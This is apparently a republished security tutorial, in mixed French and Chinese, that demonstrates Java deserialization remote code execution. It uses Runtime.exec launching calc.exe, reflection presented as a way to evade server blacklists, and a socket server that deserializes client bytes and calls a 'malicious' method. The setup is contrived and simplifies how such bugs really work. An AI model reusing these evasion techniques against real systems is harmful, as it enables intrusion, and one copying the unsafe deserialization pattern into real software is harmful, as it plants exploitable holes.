Maison > Opération et maintenance > Sécurité > Analyse du principe de vulnérabilité d'exécution de code à distance causée par la désérialisation Java

Analyse du principe de vulnérabilité d'exécution de code à distance causée par la désérialisation Java

王林
Libérer: 2019-11-30 17:50:38
avant
2770 Les gens l'ont consulté

Analyse du principe de vulnérabilité d'exécution de code à distance causée par la désérialisation Java

est principalement composé de 3 parties :

1. Le mécanisme d'introspection de Java

2.

3. Exécution de code à distance en Java

Réflexion et exécution de code en Java

Regardons d'abord un exemple simple, utilisant Java pour appeler le programme de la calculatrice :

import java.io.IOException;
import java.lang.Runtime;
public class Test {
    public static void main(String[] args) {
        Runtime env = Runtime.getRuntime();
        String cmd = "calc.exe";        
    try {
            env.exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
Copier après la connexion

Nous importons la classe Runtime du package java.lang, puis appelons sa méthode getRuntime pour obtenir un objet Runtime, qui peut être utilisé pour traiter l'état d'exécution de la machine virtuelle JVM. Ensuite, nous appelons sa méthode exec et passons une chaîne en paramètre.

À ce stade, le programme de calcul sur votre ordinateur local sera lancé.

Ci-dessous, nous allons réécrire le code ci-dessus via le mécanisme d'introspection de Java. Grâce au mécanisme d'introspection de Java, vous pouvez appeler dynamiquement le code et échapper à certains traitements de liste noire côté serveur :

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class Test {

    public static void main(String[] args) {
        try {
            Class<?> cls = Class.forName("java.lang.Runtime");            
            String cmd = "calc.exe";
            try {
                Method getRuntime = cls.getMethod("getRuntime", new Class[] {});                
                Object runtime = getRuntime.invoke(null);
                Method exec = cls.getMethod("exec", String.class);
                exec.invoke(runtime, cmd);
            } catch (NoSuchMethodException e) {
                e.printStackTrace();
            } catch (SecurityException e) {
                e.printStackTrace();
            } catch (IllegalAccessException e) {
                e.printStackTrace();
            } catch (IllegalArgumentException e) {
                e.printStackTrace();
            } catch (InvocationTargetException e) {
                e.printStackTrace();
            }
        } catch (ClassNotFoundException e1) {
            e1.printStackTrace();
        }
    }
}
Copier après la connexion

Le code ci-dessus peut sembler fastidieux, mais il n'est en réalité pas difficile. Tout d’abord, transmettez une chaîne en tant que paramètre via Class.forName, qui renvoie une instance de Class. Sa fonction est de trouver la classe correspondante en fonction du nom correspondant.

Ensuite, nous utilisons la méthode getMethod de l'instance Class pour obtenir la méthode getRuntime de la classe correspondante. Puisque la classe n'a pas de paramètres, elle peut être définie sur null ou utiliser une classe anonyme pour la gérer.

Method getRuntime = cls.getMethod("getRuntime", new Class[] {});
Copier après la connexion

Appelez ensuite la méthode de classe correspondante via la méthode d'invocation de l'instance de méthode obtenue, puisqu'il n'y a pas de paramètres, transmettez simplement null. De la même manière, nous obtenons la méthode exec.

Traitement de sérialisation Java

Pour le traitement de sérialisation en Java, la classe correspondante doit implémenter l'interface Serialisable, par exemple :

import java.io.Serializable;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
public class Reader implements Serializable {
    private static final long serialVersionUID = 10L;    
    private void readObject(ObjectInputStream stream) {
        System.out.println("foo...bar...");
    }    public static byte[] serialize(Object obj) {        //序列化对象
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream output = null;        
    try {
            output = new ObjectOutputStream(out);
            output.writeObject(obj);
            output.flush();
            output.close();

        } catch (IOException e) {
            e.printStackTrace();
        }        return out.toByteArray();

    }    public static Object deserialize(byte[] bytes) {        //反序列化处理
        ByteArrayInputStream in = new ByteArrayInputStream(bytes);
        ObjectInputStream input;
        Object obj = null;        
    try {
            input = new ObjectInputStream(in);
            obj = input.readObject();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }        return obj;

    }    
    public static void main(String[] args) {        
    byte[] data = serialize(new Reader()); //对类自身进行序列化
        Object response = deserialize(data);
        System.out.println(response);
    }
}
Copier après la connexion

Ici, nous remplaçons la méthode readObject de cette classe pour lire les objets à tester. Les deux fonctions les plus importantes sont la sérialisation et la désérialisation, qui sont utilisées respectivement pour la sérialisation et la désérialisation.

Parmi eux, la méthode Serialize doit transmettre un objet en tant que paramètre, et son résultat de sortie est un tableau d'octets. Dans cette classe, le flux de sortie d'objet ObjectOutputStream est principalement utilisé pour empaqueter ByteArrayOutputStream, puis utilise sa méthode writeObject pour y écrire l'objet. Enfin, nous obtenons le tableau d'octets via la méthode toByteArray de l'instance ByteArrayOutputStream.

Dans la méthode deserialize, un tableau d'octets doit être transmis et la valeur de retour est un objet Object. Semblable à la fonction de sérialisation précédente, nous utilisons actuellement ByteArrayInputStream pour recevoir le tableau d'octets, puis utilisons ObjectInputStream pour envelopper le ByteArrayInputStream, puis appelons sa méthode readObject pour obtenir un objet Object et le renvoyer.

Lorsque nous exécuterons ce cours, nous obtiendrons les résultats suivants :

Analyse du principe de vulnérabilité dexécution de code à distance causée par la désérialisation Java

Communication et transport à distance Java

Afin de réaliser la transmission à distance et l'exécution de code à distance du code Java, nous pouvons utiliser RMI, RPC et d'autres méthodes. Ici, nous utilisons Socket pour le traitement côté serveur et côté client.

Le premier est le côté serveur, qui écoute le port local 8888. Son code est :

import java.net.Socket;
import java.io.IOException;
import java.io.InputStream;
import java.net.ServerSocket;
public class Server {
    public static void main(String[] args) throws ClassNotFoundException {        
    int port = 8888;        
    try {
            ServerSocket server = new ServerSocket(port);
            System.out.println("Server is waiting for connect");
            Socket socket = server.accept();
            InputStream input = socket.getInputStream();            
            byte[] bytes = new byte[1024];
            int length = 0;            
            while((length=input.read(bytes))!=-1) {
                String out = new String(bytes, 0, length, "UTF-8");
                System.out.println(out);
            }
            input.close();
            socket.close();
            server.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
Copier après la connexion

On instancie la classe ServerSocket en passant un port, et à ce moment on obtient un socket du serveur. Appelez ensuite sa méthode accept pour recevoir la requête du client. À ce stade, un objet socket est obtenu et le flux d'entrée est obtenu via la méthode getInputStream de l'objet socket, et un tableau d'octets d'une longueur de 1024 est spécifié.

Appelez ensuite la méthode read du socket pour lire la séquence d'octets de la longueur spécifiée, puis convertissez le tableau d'octets en chaîne via le constructeur String et affichez-le. De cette façon, nous obtenons le contenu transmis par le client.

Pour le client, le code est similaire au suivant :

import java.io.IOException;
import java.net.Socket;
import java.io.OutputStream;
public class Client {
    public static void main(String[] args) {
        String host = "192.168.1.108";        
        int port = 8888;
        try {
            Socket socket = new Socket(host, port);
            OutputStream output = socket.getOutputStream();
            String message = "Hello,Java Socket Server";
            output.write(message.getBytes("UTF-8"));
            output.close();
            socket.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
Copier après la connexion

Sur le client, on passe l'adresse IP et le port à connecter via l'objet Socket, puis on l'obtient via l'objet Socket. Méthode getOutputStream du flux de sortie de l'objet socket, utilisée pour envoyer la sortie au serveur. Puisqu'il ne s'agit que d'une démonstration, l'adresse IP de l'hôte local est utilisée. Dans les applications pratiques, si nous connaissons l'adresse IP et les ports ouverts d'un certain hôte de réseau externe, et si l'hôte actuel présente les vulnérabilités correspondantes, nous pouvons également utiliser une méthode similaire pour y parvenir.

Ici, nous définissons le contenu à transmettre dans une chaîne codée en UTF-8. Dans la méthode d'écriture du flux de sortie, nous spécifions son codage via les getBytes de la chaîne, le convertissant ainsi en tableau d'octets correspondant. .à envoyer.

Dans des circonstances normales, nous exécutons le serveur puis le client. Le résultat suivant peut être obtenu côté serveur :

Server is waiting for connect
Hello,Java Socket Server
Copier après la connexion

Java反序列化与远程代码执行

下面我们通过Java反序列化的问题来实现远程代码执行,为了实现远程代码执行,我们首先在Reader类中添加1个malicious方法,其代码为:

public Object malicious() throws IOException {
        Runtime.getRuntime().exec("calc.exe");
        System.out.println("Hacked the Server...");        
        return this;
    }
Copier après la connexion

在该方法中我们使用之前的介绍调用宿主机器上的计算器程序,然后输出1个相关信息,最后返回当前类。

之后是对服务器端的代码进行如下的修改:

while((length=input.read(bytes))!=-1) {
    Reader obj = (Reader) Reader.deserialize(bytes);
    obj.malicious();
}
Copier après la connexion

我们在接收到客户端对应的字符串后对其进行反序列处理,之后调用某个指定的函数,从而实现远程代码的执行。而在客户端,我们需要对其进行序列化处理:

Reader reader = new Reader();
byte[] bytes = Reader.serialize(reader);
String message = new String(bytes);
output.write(message.getBytes());
Copier après la connexion

下面我们在宿主机器上运行服务器端程序,之后在本地机器上运行客户端程序,当客户端程序执行时,可以看到类似如下的结果:

Analyse du principe de vulnérabilité dexécution de code à distance causée par la désérialisation Java

可以看到,我们成功的在宿主机器上执行了对应的命令执行。

总结

为了实现通过Java的反序列问题来实现远程代码执行的漏洞,我们需要编写1个有恶意代码注入的序列化类。之后在客户端将恶意代码序列化后发送给服务器端,而服务器端需要调用我们期望的方法,从而触发远程代码执行。

为了避免服务器端进行一些安全处理,我们可以采用反射的方式来逃逸其处理。

这里只是1个简化的过程,更加实用的过程可以参考Apache Common Collections的问题导致的Weblogic漏洞CVE-2015-4852及Jboss的漏洞CVE-2015-7501

推荐相关文章教程:web安全教程

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Étiquettes associées:
source:freebuf.com
Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn
Tutoriels populaires
Plus>
Derniers téléchargements
Plus>
effets Web
Code source du site Web
Matériel du site Web
Modèle frontal